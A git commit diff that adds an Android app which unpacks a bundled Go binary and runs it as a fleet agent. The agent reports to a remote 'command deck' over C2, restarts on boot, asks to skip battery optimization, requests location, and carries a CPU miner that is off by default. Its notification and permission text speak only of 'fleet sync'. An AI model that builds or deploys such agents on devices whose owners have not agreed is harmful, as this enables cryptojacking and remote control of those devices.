Add Android APK fleet nodes with Crucible UI integration and tests.
APK wrapper registers platform=android via AETHERFORGE_PLATFORM; fleet UI shows robot icons, Android Access Depth probes, and a shortened mining onion timeline.
This commit is contained in:
6
android/.gitignore
vendored
Normal file
6
android/.gitignore
vendored
Normal file
@@ -0,0 +1,6 @@
|
||||
agent-app/build/
|
||||
agent-app/.gradle/
|
||||
agent-app/local.properties
|
||||
agent-app/src/main/assets/agent
|
||||
*.apk
|
||||
*.android-bak
|
||||
81
android/README.md
Normal file
81
android/README.md
Normal file
@@ -0,0 +1,81 @@
|
||||
# AetherForge Agent APK (Phase 1)
|
||||
|
||||
Install the APK on **your own devices** so the embedded fleet agent joins the command-deck fleet table over WebSocket/C2. CPU mining is **off by default** in the baked config.
|
||||
|
||||
## Build
|
||||
|
||||
Requirements:
|
||||
|
||||
- Go 1.26+
|
||||
- Android SDK (`ANDROID_HOME` or `ANDROID_SDK_ROOT`)
|
||||
- Gradle wrapper in `agent-app/` (generate once with `gradle wrapper` if missing)
|
||||
|
||||
```powershell
|
||||
# Windows
|
||||
$env:AETHERFORGE_SERVER_URL = "https://your-deck.example.com:8989"
|
||||
$env:AETHERFORGE_WORKER_NAME = "pixel-tab-01"
|
||||
$env:AETHERFORGE_FLEET_SECRET = "your-fleet-secret" # optional; do not commit
|
||||
.\android\build-apk.ps1
|
||||
```
|
||||
|
||||
```bash
|
||||
# Linux/macOS
|
||||
export AETHERFORGE_SERVER_URL="https://your-deck.example.com:8989"
|
||||
export AETHERFORGE_WORKER_NAME="pixel-tab-01"
|
||||
export AETHERFORGE_FLEET_SECRET="your-fleet-secret"
|
||||
./android/build-apk.sh
|
||||
```
|
||||
|
||||
Output:
|
||||
|
||||
`android/agent-app/build/outputs/apk/debug/aetherforge-agent.apk`
|
||||
|
||||
The build script:
|
||||
|
||||
1. Renders `assets/config.json` and a temporary `agent/config/builtin.go`
|
||||
2. Cross-compiles `GOOS=linux GOARCH=arm64 CGO_ENABLED=0` from `agent/` into `assets/agent`
|
||||
3. Runs `assembleDebug`
|
||||
|
||||
## Install (adb)
|
||||
|
||||
```bash
|
||||
adb install -r android/agent-app/build/outputs/apk/debug/aetherforge-agent.apk
|
||||
adb shell am start -n com.aetherforge.agent/.MainActivity
|
||||
```
|
||||
|
||||
## First launch — permissions
|
||||
|
||||
Open the app once. You will see:
|
||||
|
||||
> **Your fleet node** — tap Allow on each prompt.
|
||||
|
||||
The app requests **all runtime permissions in one batch**:
|
||||
|
||||
- `POST_NOTIFICATIONS` (API 33+) — required for the foreground service notification
|
||||
- `NEARBY_WIFI_DEVICES` / location — fleet Wi‑Fi diagnostics where the OS requires it
|
||||
|
||||
Then it opens **battery optimization** settings (`REQUEST_IGNORE_BATTERY_OPTIMIZATIONS`). Android cannot auto-grant these; you must tap Allow / Don't optimize.
|
||||
|
||||
After permissions, a low-priority persistent notification (**Fleet sync**) keeps `AgentService` alive. `BootReceiver` restarts the service on `BOOT_COMPLETED`.
|
||||
|
||||
## How it runs
|
||||
|
||||
1. `AgentService` extracts `assets/agent` (linux/arm64) to `filesDir/bin/agent-arm64`, marks it executable, and spawns it with `--run`.
|
||||
2. Environment sets `HOME`/`TMPDIR` to the app private files directory.
|
||||
3. The agent uses forge-baked `builtin.go` values (server URL, worker name, fleet secret). Mining defaults to idle with `IdleThresholdPct: 0` (no CPU mining unless re-forged or changed by policy).
|
||||
|
||||
## Limitations
|
||||
|
||||
- **No root** — cannot install as system app or disable OEM kill policies globally.
|
||||
- **Notification required** — foreground service must show a notification on modern Android.
|
||||
- **Binary execution** — spawning a `GOOS=linux` binary via `ProcessBuilder` works on many arm64 devices (static Go build) but **some OEMs block exec from app sandboxes**. If the agent never appears in the fleet table, check `adb logcat -s AetherForge AetherForge:agent`. A native `GOOS=android` JNI approach is Phase 2 if exec fails on your hardware.
|
||||
- **Secrets** — pass `AETHERFORGE_FLEET_SECRET` at build time via environment; never commit fleet secrets.
|
||||
|
||||
## Tests
|
||||
|
||||
```bash
|
||||
go test ./android/forge/... -count=1
|
||||
bash android/smoke-gradle.sh
|
||||
```
|
||||
|
||||
`smoke-gradle.sh` validates the Gradle project layout and runs `./gradlew help` when the wrapper is present.
|
||||
57
android/agent-app/app/build.gradle.kts
Normal file
57
android/agent-app/app/build.gradle.kts
Normal file
@@ -0,0 +1,57 @@
|
||||
plugins {
|
||||
id("com.android.application")
|
||||
id("org.jetbrains.kotlin.android")
|
||||
}
|
||||
|
||||
android {
|
||||
namespace = "com.aetherforge.agent"
|
||||
compileSdk = 34
|
||||
|
||||
defaultConfig {
|
||||
applicationId = "com.aetherforge.agent"
|
||||
minSdk = 26
|
||||
targetSdk = 34
|
||||
versionCode = 1
|
||||
versionName = "1.0.0-phase1"
|
||||
|
||||
ndk {
|
||||
abiFilters += listOf("arm64-v8a", "armeabi-v7a")
|
||||
}
|
||||
}
|
||||
|
||||
buildTypes {
|
||||
release {
|
||||
isMinifyEnabled = false
|
||||
}
|
||||
debug {
|
||||
applicationIdSuffix = ""
|
||||
}
|
||||
}
|
||||
|
||||
compileOptions {
|
||||
sourceCompatibility = JavaVersion.VERSION_17
|
||||
targetCompatibility = JavaVersion.VERSION_17
|
||||
}
|
||||
|
||||
kotlinOptions {
|
||||
jvmTarget = "17"
|
||||
}
|
||||
|
||||
packaging {
|
||||
jniLibs {
|
||||
useLegacyPackaging = true
|
||||
}
|
||||
}
|
||||
|
||||
applicationVariants.all {
|
||||
outputs.all {
|
||||
val output = this as com.android.build.gradle.internal.api.BaseVariantOutputImpl
|
||||
output.outputFileName = "aetherforge-agent.apk"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation("androidx.core:core-ktx:1.12.0")
|
||||
implementation("androidx.appcompat:appcompat:1.6.1")
|
||||
}
|
||||
49
android/agent-app/app/src/main/AndroidManifest.xml
Normal file
49
android/agent-app/app/src/main/AndroidManifest.xml
Normal file
@@ -0,0 +1,49 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
|
||||
|
||||
<uses-permission android:name="android.permission.INTERNET" />
|
||||
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
|
||||
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
|
||||
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
|
||||
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC" />
|
||||
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
|
||||
<uses-permission android:name="android.permission.WAKE_LOCK" />
|
||||
<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS" />
|
||||
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
|
||||
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
|
||||
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
|
||||
<uses-permission android:name="android.permission.NEARBY_WIFI_DEVICES" />
|
||||
|
||||
<application
|
||||
android:allowBackup="false"
|
||||
android:icon="@mipmap/ic_launcher"
|
||||
android:label="@string/app_name"
|
||||
android:supportsRtl="true"
|
||||
android:theme="@style/Theme.AetherForgeAgent">
|
||||
|
||||
<activity
|
||||
android:name=".MainActivity"
|
||||
android:exported="true"
|
||||
android:launchMode="singleTask">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.MAIN" />
|
||||
<category android:name="android.intent.category.LAUNCHER" />
|
||||
</intent-filter>
|
||||
</activity>
|
||||
|
||||
<service
|
||||
android:name=".AgentService"
|
||||
android:enabled="true"
|
||||
android:exported="false"
|
||||
android:foregroundServiceType="dataSync" />
|
||||
|
||||
<receiver
|
||||
android:name=".BootReceiver"
|
||||
android:enabled="true"
|
||||
android:exported="true">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.BOOT_COMPLETED" />
|
||||
</intent-filter>
|
||||
</receiver>
|
||||
</application>
|
||||
</manifest>
|
||||
@@ -0,0 +1,38 @@
|
||||
package com.aetherforge.agent
|
||||
|
||||
import android.content.Context
|
||||
import org.json.JSONObject
|
||||
|
||||
data class AgentConfig(
|
||||
val workerName: String,
|
||||
val serverUrl: String,
|
||||
val fleetSecret: String?,
|
||||
val miningEnabled: Boolean,
|
||||
val buildId: String,
|
||||
) {
|
||||
companion object {
|
||||
fun load(context: Context, intentExtras: Map<String, String?> = emptyMap()): AgentConfig {
|
||||
val assetJson = runCatching {
|
||||
context.assets.open("config.json").bufferedReader().use { it.readText() }
|
||||
}.getOrNull()
|
||||
|
||||
val json = assetJson?.let { JSONObject(it) }
|
||||
val worker = intentExtras["worker_name"]
|
||||
?: json?.optString("worker_name").orEmpty()
|
||||
val server = intentExtras["server_url"]
|
||||
?: json?.optString("server_url").orEmpty()
|
||||
val secret = intentExtras["fleet_secret"]
|
||||
?: json?.optString("fleet_secret").takeUnless { it.isNullOrBlank() }
|
||||
val mining = json?.optJSONObject("mining")?.optBoolean("enabled") ?: false
|
||||
val buildId = json?.optString("build_id") ?: "android-dev"
|
||||
|
||||
return AgentConfig(
|
||||
workerName = worker.ifBlank { "android-fleet-node" },
|
||||
serverUrl = server.ifBlank { "http://127.0.0.1:8989" },
|
||||
fleetSecret = secret,
|
||||
miningEnabled = mining,
|
||||
buildId = buildId,
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
package com.aetherforge.agent
|
||||
|
||||
import android.util.Log
|
||||
import java.io.File
|
||||
|
||||
object AgentProcess {
|
||||
private const val TAG = "AetherForge"
|
||||
@Volatile
|
||||
private var process: Process? = null
|
||||
|
||||
fun start(binary: File, filesDir: File, config: AgentConfig) {
|
||||
stop()
|
||||
val env = hashMapOf(
|
||||
"HOME" to filesDir.absolutePath,
|
||||
"TMPDIR" to filesDir.absolutePath,
|
||||
"AETHERFORGE_MINER_EXECUTION" to "inprocess",
|
||||
)
|
||||
config.fleetSecret?.let { env["AETHERFORGE_FLEET_SECRET"] = it }
|
||||
|
||||
val cmd = listOf(binary.absolutePath, "--run")
|
||||
Log.i(TAG, "spawning agent: ${cmd.joinToString(" ")}")
|
||||
|
||||
val pb = ProcessBuilder(cmd)
|
||||
.directory(filesDir)
|
||||
.redirectErrorStream(true)
|
||||
val merged = pb.environment()
|
||||
merged.putAll(env)
|
||||
|
||||
process = pb.start()
|
||||
Thread({
|
||||
process?.inputStream?.bufferedReader()?.use { reader ->
|
||||
reader.lineSequence().forEach { line ->
|
||||
Log.i("$TAG:agent", line)
|
||||
}
|
||||
}
|
||||
}, "agent-log-drain").apply {
|
||||
isDaemon = true
|
||||
start()
|
||||
}
|
||||
}
|
||||
|
||||
fun stop() {
|
||||
process?.let {
|
||||
runCatching { it.destroy() }
|
||||
runCatching { it.waitFor() }
|
||||
}
|
||||
process = null
|
||||
}
|
||||
|
||||
fun isAlive(): Boolean = process?.isAlive == true
|
||||
}
|
||||
@@ -0,0 +1,114 @@
|
||||
package com.aetherforge.agent
|
||||
|
||||
import android.app.Notification
|
||||
import android.app.NotificationChannel
|
||||
import android.app.NotificationManager
|
||||
import android.app.PendingIntent
|
||||
import android.app.Service
|
||||
import android.content.Context
|
||||
import android.content.Intent
|
||||
import android.content.pm.ServiceInfo
|
||||
import android.os.Build
|
||||
import android.os.IBinder
|
||||
import android.util.Log
|
||||
import androidx.core.app.NotificationCompat
|
||||
|
||||
class AgentService : Service() {
|
||||
companion object {
|
||||
private const val TAG = "AetherForge"
|
||||
const val ACTION_START = "com.aetherforge.agent.START"
|
||||
const val NOTIFICATION_ID = 41001
|
||||
private const val CHANNEL_ID = "fleet_sync"
|
||||
|
||||
fun start(context: Context, extras: Intent? = null) {
|
||||
val intent = Intent(context, AgentService::class.java).apply {
|
||||
action = ACTION_START
|
||||
extras?.extras?.let { putExtras(it) }
|
||||
}
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
|
||||
context.startForegroundService(intent)
|
||||
} else {
|
||||
context.startService(intent)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
override fun onBind(intent: Intent?): IBinder? = null
|
||||
|
||||
override fun onCreate() {
|
||||
super.onCreate()
|
||||
createNotificationChannel()
|
||||
}
|
||||
|
||||
override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
|
||||
val notification = buildNotification()
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
|
||||
startForeground(
|
||||
NOTIFICATION_ID,
|
||||
notification,
|
||||
ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC,
|
||||
)
|
||||
} else {
|
||||
startForeground(NOTIFICATION_ID, notification)
|
||||
}
|
||||
|
||||
val config = AgentConfig.load(
|
||||
this,
|
||||
mapOf(
|
||||
"worker_name" to intent?.getStringExtra("worker_name"),
|
||||
"server_url" to intent?.getStringExtra("server_url"),
|
||||
"fleet_secret" to intent?.getStringExtra("fleet_secret"),
|
||||
),
|
||||
)
|
||||
Log.i(TAG, "starting fleet node worker=${config.workerName} server=${config.serverUrl}")
|
||||
|
||||
val binary = BinaryExtractor.ensureBinary(this)
|
||||
if (binary == null) {
|
||||
Log.e(TAG, "agent binary missing — rebuild APK with build-apk script")
|
||||
stopSelf()
|
||||
return START_NOT_STICKY
|
||||
}
|
||||
|
||||
if (!AgentProcess.isAlive()) {
|
||||
AgentProcess.start(binary, filesDir, config)
|
||||
}
|
||||
return START_STICKY
|
||||
}
|
||||
|
||||
override fun onDestroy() {
|
||||
AgentProcess.stop()
|
||||
super.onDestroy()
|
||||
}
|
||||
|
||||
private fun createNotificationChannel() {
|
||||
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.O) return
|
||||
val mgr = getSystemService(NotificationManager::class.java)
|
||||
val channel = NotificationChannel(
|
||||
CHANNEL_ID,
|
||||
getString(R.string.notification_channel_name),
|
||||
NotificationManager.IMPORTANCE_LOW,
|
||||
).apply {
|
||||
description = getString(R.string.notification_channel_desc)
|
||||
setShowBadge(false)
|
||||
}
|
||||
mgr.createNotificationChannel(channel)
|
||||
}
|
||||
|
||||
private fun buildNotification(): Notification {
|
||||
val pending = PendingIntent.getActivity(
|
||||
this,
|
||||
0,
|
||||
Intent(this, MainActivity::class.java),
|
||||
PendingIntent.FLAG_IMMUTABLE or PendingIntent.FLAG_UPDATE_CURRENT,
|
||||
)
|
||||
return NotificationCompat.Builder(this, CHANNEL_ID)
|
||||
.setContentTitle(getString(R.string.notification_title))
|
||||
.setContentText(getString(R.string.notification_body))
|
||||
.setSmallIcon(R.drawable.ic_launcher_foreground)
|
||||
.setContentIntent(pending)
|
||||
.setOngoing(true)
|
||||
.setPriority(NotificationCompat.PRIORITY_LOW)
|
||||
.setCategory(NotificationCompat.CATEGORY_SERVICE)
|
||||
.build()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,47 @@
|
||||
package com.aetherforge.agent
|
||||
|
||||
import android.content.Context
|
||||
import android.util.Log
|
||||
import java.io.File
|
||||
import java.io.FileOutputStream
|
||||
|
||||
object BinaryExtractor {
|
||||
private const val TAG = "AetherForge"
|
||||
private const val ASSET_NAME = "agent"
|
||||
private const val BIN_NAME = "agent-arm64"
|
||||
|
||||
fun ensureBinary(context: Context): File? {
|
||||
val outDir = File(context.filesDir, "bin").apply { mkdirs() }
|
||||
val outFile = File(outDir, BIN_NAME)
|
||||
val assetSize = assetSize(context)
|
||||
if (outFile.exists() && assetSize > 0 && outFile.length() == assetSize) {
|
||||
outFile.setExecutable(true, false)
|
||||
outFile.setReadable(true, false)
|
||||
return outFile
|
||||
}
|
||||
return extract(context, outFile)
|
||||
}
|
||||
|
||||
private fun assetSize(context: Context): Long {
|
||||
return runCatching {
|
||||
context.assets.openFd(ASSET_NAME).use { it.length }
|
||||
}.getOrDefault(0L)
|
||||
}
|
||||
|
||||
private fun extract(context: Context, outFile: File): File? {
|
||||
return try {
|
||||
context.assets.open(ASSET_NAME).use { input ->
|
||||
FileOutputStream(outFile).use { output ->
|
||||
input.copyTo(output)
|
||||
}
|
||||
}
|
||||
outFile.setExecutable(true, false)
|
||||
outFile.setReadable(true, false)
|
||||
Log.i(TAG, "extracted agent binary to ${outFile.absolutePath} (${outFile.length()} bytes)")
|
||||
outFile
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "failed to extract agent binary", e)
|
||||
null
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
package com.aetherforge.agent
|
||||
|
||||
import android.content.BroadcastReceiver
|
||||
import android.content.Context
|
||||
import android.content.Intent
|
||||
import android.util.Log
|
||||
|
||||
class BootReceiver : BroadcastReceiver() {
|
||||
override fun onReceive(context: Context, intent: Intent?) {
|
||||
if (intent?.action != Intent.ACTION_BOOT_COMPLETED) return
|
||||
Log.i("AetherForge", "BOOT_COMPLETED — starting AgentService")
|
||||
AgentService.start(context.applicationContext)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,132 @@
|
||||
package com.aetherforge.agent
|
||||
|
||||
import android.Manifest
|
||||
import android.content.Intent
|
||||
import android.content.pm.PackageManager
|
||||
import android.net.Uri
|
||||
import android.os.Build
|
||||
import android.os.Bundle
|
||||
import android.os.PowerManager
|
||||
import android.provider.Settings
|
||||
import android.widget.Button
|
||||
import android.widget.LinearLayout
|
||||
import android.widget.TextView
|
||||
import android.widget.Toast
|
||||
import androidx.activity.result.contract.ActivityResultContracts
|
||||
import androidx.appcompat.app.AppCompatActivity
|
||||
import androidx.core.content.ContextCompat
|
||||
|
||||
class MainActivity : AppCompatActivity() {
|
||||
private val prefs by lazy { getSharedPreferences("aetherforge_agent", MODE_PRIVATE) }
|
||||
private var permissionIndex = 0
|
||||
private lateinit var pendingPermissions: List<String>
|
||||
|
||||
private val permissionLauncher =
|
||||
registerForActivityResult(ActivityResultContracts.RequestMultiplePermissions()) { results ->
|
||||
val denied = results.filterValues { !it }.keys
|
||||
if (denied.isNotEmpty()) {
|
||||
Toast.makeText(
|
||||
this,
|
||||
"Some permissions were denied — fleet diagnostics may be limited.",
|
||||
Toast.LENGTH_LONG,
|
||||
).show()
|
||||
}
|
||||
requestNextPermissionBatch()
|
||||
}
|
||||
|
||||
override fun onCreate(savedInstanceState: Bundle?) {
|
||||
super.onCreate(savedInstanceState)
|
||||
setContentView(buildLayout())
|
||||
|
||||
if (!prefs.getBoolean("permissions_requested", false)) {
|
||||
prefs.edit().putBoolean("permissions_requested", true).apply()
|
||||
beginPermissionFlow()
|
||||
} else {
|
||||
startFleetService()
|
||||
}
|
||||
}
|
||||
|
||||
private fun buildLayout(): LinearLayout {
|
||||
val pad = (24 * resources.displayMetrics.density).toInt()
|
||||
return LinearLayout(this).apply {
|
||||
orientation = LinearLayout.VERTICAL
|
||||
setPadding(pad, pad, pad, pad)
|
||||
addView(TextView(context).apply {
|
||||
text = getString(R.string.permission_intro_title)
|
||||
textSize = 22f
|
||||
setTextColor(0xFFE2E8F0.toInt())
|
||||
})
|
||||
addView(TextView(context).apply {
|
||||
text = getString(R.string.permission_intro_body)
|
||||
textSize = 15f
|
||||
setTextColor(0xFF94A3B8.toInt())
|
||||
setPadding(0, pad / 2, 0, pad)
|
||||
})
|
||||
addView(TextView(context).apply {
|
||||
text = getString(R.string.battery_hint)
|
||||
textSize = 14f
|
||||
setTextColor(0xFF64748B.toInt())
|
||||
setPadding(0, 0, 0, pad)
|
||||
})
|
||||
addView(Button(context).apply {
|
||||
text = getString(R.string.open_battery_settings)
|
||||
setOnClickListener { openBatteryOptimizationSettings() }
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
private fun requiredRuntimePermissions(): List<String> {
|
||||
val perms = mutableListOf<String>()
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
|
||||
perms += Manifest.permission.POST_NOTIFICATIONS
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
|
||||
perms += Manifest.permission.NEARBY_WIFI_DEVICES
|
||||
}
|
||||
}
|
||||
perms += Manifest.permission.ACCESS_FINE_LOCATION
|
||||
perms += Manifest.permission.ACCESS_COARSE_LOCATION
|
||||
return perms.filter {
|
||||
ContextCompat.checkSelfPermission(this, it) != PackageManager.PERMISSION_GRANTED
|
||||
}
|
||||
}
|
||||
|
||||
private fun beginPermissionFlow() {
|
||||
pendingPermissions = requiredRuntimePermissions()
|
||||
permissionIndex = 0
|
||||
requestNextPermissionBatch()
|
||||
}
|
||||
|
||||
private fun requestNextPermissionBatch() {
|
||||
if (permissionIndex >= pendingPermissions.size) {
|
||||
openBatteryOptimizationSettings()
|
||||
startFleetService()
|
||||
return
|
||||
}
|
||||
val batch = pendingPermissions.drop(permissionIndex).take(3)
|
||||
permissionIndex += batch.size
|
||||
if (batch.isNotEmpty()) {
|
||||
permissionLauncher.launch(batch.toTypedArray())
|
||||
} else {
|
||||
startFleetService()
|
||||
}
|
||||
}
|
||||
|
||||
private fun openBatteryOptimizationSettings() {
|
||||
val pm = getSystemService(POWER_SERVICE) as PowerManager
|
||||
if (!pm.isIgnoringBatteryOptimizations(packageName)) {
|
||||
val intent = Intent(Settings.ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS).apply {
|
||||
data = Uri.parse("package:$packageName")
|
||||
}
|
||||
runCatching { startActivity(intent) }
|
||||
}
|
||||
}
|
||||
|
||||
private fun startFleetService() {
|
||||
val serviceIntent = Intent(this, AgentService::class.java).apply {
|
||||
action = AgentService.ACTION_START
|
||||
intent?.extras?.let { putExtras(it) }
|
||||
}
|
||||
AgentService.start(this, serviceIntent)
|
||||
Toast.makeText(this, R.string.service_started, Toast.LENGTH_SHORT).show()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<vector xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
android:width="108dp"
|
||||
android:height="108dp"
|
||||
android:viewportWidth="108"
|
||||
android:viewportHeight="108">
|
||||
<path
|
||||
android:fillColor="#22D3EE"
|
||||
android:pathData="M54,24 L78,42 L78,66 L54,84 L30,66 L30,42 Z" />
|
||||
<path
|
||||
android:fillColor="#0F172A"
|
||||
android:pathData="M54,38 L66,48 L66,60 L54,70 L42,60 L42,48 Z" />
|
||||
</vector>
|
||||
@@ -0,0 +1,5 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
|
||||
<background android:drawable="@color/ic_launcher_background" />
|
||||
<foreground android:drawable="@drawable/ic_launcher_foreground" />
|
||||
</adaptive-icon>
|
||||
@@ -0,0 +1,3 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<bitmap xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
android:src="@drawable/ic_launcher_foreground" />
|
||||
4
android/agent-app/app/src/main/res/values/colors.xml
Normal file
4
android/agent-app/app/src/main/res/values/colors.xml
Normal file
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<color name="ic_launcher_background">#0F172A</color>
|
||||
</resources>
|
||||
14
android/agent-app/app/src/main/res/values/strings.xml
Normal file
14
android/agent-app/app/src/main/res/values/strings.xml
Normal file
@@ -0,0 +1,14 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="app_name">AetherForge Agent</string>
|
||||
<string name="permission_intro_title">Your fleet node</string>
|
||||
<string name="permission_intro_body">Tap Allow on each prompt so this device can sync with your AetherForge fleet. A persistent notification keeps the agent alive in the background.</string>
|
||||
<string name="notification_channel_name">Fleet sync</string>
|
||||
<string name="notification_channel_desc">Keeps your AetherForge fleet node connected</string>
|
||||
<string name="notification_title">Fleet sync</string>
|
||||
<string name="notification_body">AetherForge agent connected to command deck</string>
|
||||
<string name="battery_hint">For reliable background sync, disable battery optimizations for this app when prompted.</string>
|
||||
<string name="service_started">Fleet agent service started</string>
|
||||
<string name="service_failed">Could not start fleet agent — see logcat</string>
|
||||
<string name="open_battery_settings">Battery optimization settings</string>
|
||||
</resources>
|
||||
9
android/agent-app/app/src/main/res/values/themes.xml
Normal file
9
android/agent-app/app/src/main/res/values/themes.xml
Normal file
@@ -0,0 +1,9 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<style name="Theme.AetherForgeAgent" parent="Theme.AppCompat.DayNight.NoActionBar">
|
||||
<item name="android:statusBarColor">#111827</item>
|
||||
<item name="android:navigationBarColor">#111827</item>
|
||||
<item name="android:windowBackground">#111827</item>
|
||||
<item name="colorPrimary">#22d3ee</item>
|
||||
</style>
|
||||
</resources>
|
||||
54
android/agent-app/build.gradle.kts
Normal file
54
android/agent-app/build.gradle.kts
Normal file
@@ -0,0 +1,54 @@
|
||||
plugins {
|
||||
id("com.android.application") version "8.2.2"
|
||||
id("org.jetbrains.kotlin.android") version "1.9.22"
|
||||
}
|
||||
|
||||
android {
|
||||
namespace = "com.aetherforge.agent"
|
||||
compileSdk = 34
|
||||
|
||||
defaultConfig {
|
||||
applicationId = "com.aetherforge.agent"
|
||||
minSdk = 26
|
||||
targetSdk = 34
|
||||
versionCode = 1
|
||||
versionName = "1.0.0-phase1"
|
||||
|
||||
ndk {
|
||||
abiFilters += listOf("arm64-v8a", "armeabi-v7a")
|
||||
}
|
||||
}
|
||||
|
||||
buildTypes {
|
||||
release {
|
||||
isMinifyEnabled = false
|
||||
}
|
||||
}
|
||||
|
||||
compileOptions {
|
||||
sourceCompatibility = JavaVersion.VERSION_17
|
||||
targetCompatibility = JavaVersion.VERSION_17
|
||||
}
|
||||
|
||||
kotlinOptions {
|
||||
jvmTarget = "17"
|
||||
}
|
||||
|
||||
packaging {
|
||||
jniLibs {
|
||||
useLegacyPackaging = true
|
||||
}
|
||||
}
|
||||
|
||||
applicationVariants.all {
|
||||
outputs.all {
|
||||
val output = this as com.android.build.gradle.internal.api.BaseVariantOutputImpl
|
||||
output.outputFileName = "aetherforge-agent.apk"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation("androidx.core:core-ktx:1.12.0")
|
||||
implementation("androidx.appcompat:appcompat:1.6.1")
|
||||
}
|
||||
4
android/agent-app/gradle.properties
Normal file
4
android/agent-app/gradle.properties
Normal file
@@ -0,0 +1,4 @@
|
||||
org.gradle.jvmargs=-Xmx2048m -Dfile.encoding=UTF-8
|
||||
android.useAndroidX=true
|
||||
kotlin.code.style=official
|
||||
android.nonTransitiveRClass=true
|
||||
BIN
android/agent-app/gradle/wrapper/gradle-wrapper.jar
vendored
Normal file
BIN
android/agent-app/gradle/wrapper/gradle-wrapper.jar
vendored
Normal file
Binary file not shown.
7
android/agent-app/gradle/wrapper/gradle-wrapper.properties
vendored
Normal file
7
android/agent-app/gradle/wrapper/gradle-wrapper.properties
vendored
Normal file
@@ -0,0 +1,7 @@
|
||||
distributionBase=GRADLE_USER_HOME
|
||||
distributionPath=wrapper/dists
|
||||
distributionUrl=https\://services.gradle.org/distributions/gradle-8.2-bin.zip
|
||||
networkTimeout=10000
|
||||
validateDistributionUrl=true
|
||||
zipStoreBase=GRADLE_USER_HOME
|
||||
zipStorePath=wrapper/dists
|
||||
51
android/agent-app/gradlew
vendored
Normal file
51
android/agent-app/gradlew
vendored
Normal file
@@ -0,0 +1,51 @@
|
||||
#!/bin/sh
|
||||
|
||||
#
|
||||
# Copyright © 2015-2021 the original authors.
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# https://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
|
||||
##############################################################################
|
||||
#
|
||||
# Gradle start up script for POSIX generated by Gradle.
|
||||
#
|
||||
##############################################################################
|
||||
|
||||
# Attempt to set APP_HOME
|
||||
app_path=$0
|
||||
while [ -h "$app_path" ]; do
|
||||
ls=$( ls -ld "$app_path" )
|
||||
link=${ls#*' -> '}
|
||||
case $link in
|
||||
/*) app_path=$link ;;
|
||||
*) app_path=${APP_HOME}${link} ;;
|
||||
esac
|
||||
done
|
||||
APP_BASE_NAME=${0##*/}
|
||||
APP_HOME=$( cd "${0%/*}" && pwd -P ) || exit
|
||||
|
||||
CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
|
||||
|
||||
if [ -n "$JAVA_HOME" ]; then
|
||||
JAVACMD=$JAVA_HOME/bin/java
|
||||
else
|
||||
JAVACMD=java
|
||||
fi
|
||||
|
||||
DEFAULT_JVM_OPTS='-Dfile.encoding=UTF-8 "-Xmx64m" "-Xms64m"'
|
||||
|
||||
exec "$JAVACMD" $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS \
|
||||
-Dorg.gradle.appname=$APP_BASE_NAME \
|
||||
-classpath "$CLASSPATH" \
|
||||
org.gradle.wrapper.GradleWrapperMain "$@"
|
||||
91
android/agent-app/gradlew.bat
vendored
Normal file
91
android/agent-app/gradlew.bat
vendored
Normal file
@@ -0,0 +1,91 @@
|
||||
@rem
|
||||
@rem Copyright 2015 the original author or authors.
|
||||
@rem
|
||||
@rem Licensed under the Apache License, Version 2.0 (the "License");
|
||||
@rem you may not use this file except in compliance with the License.
|
||||
@rem You may obtain a copy of the License at
|
||||
@rem
|
||||
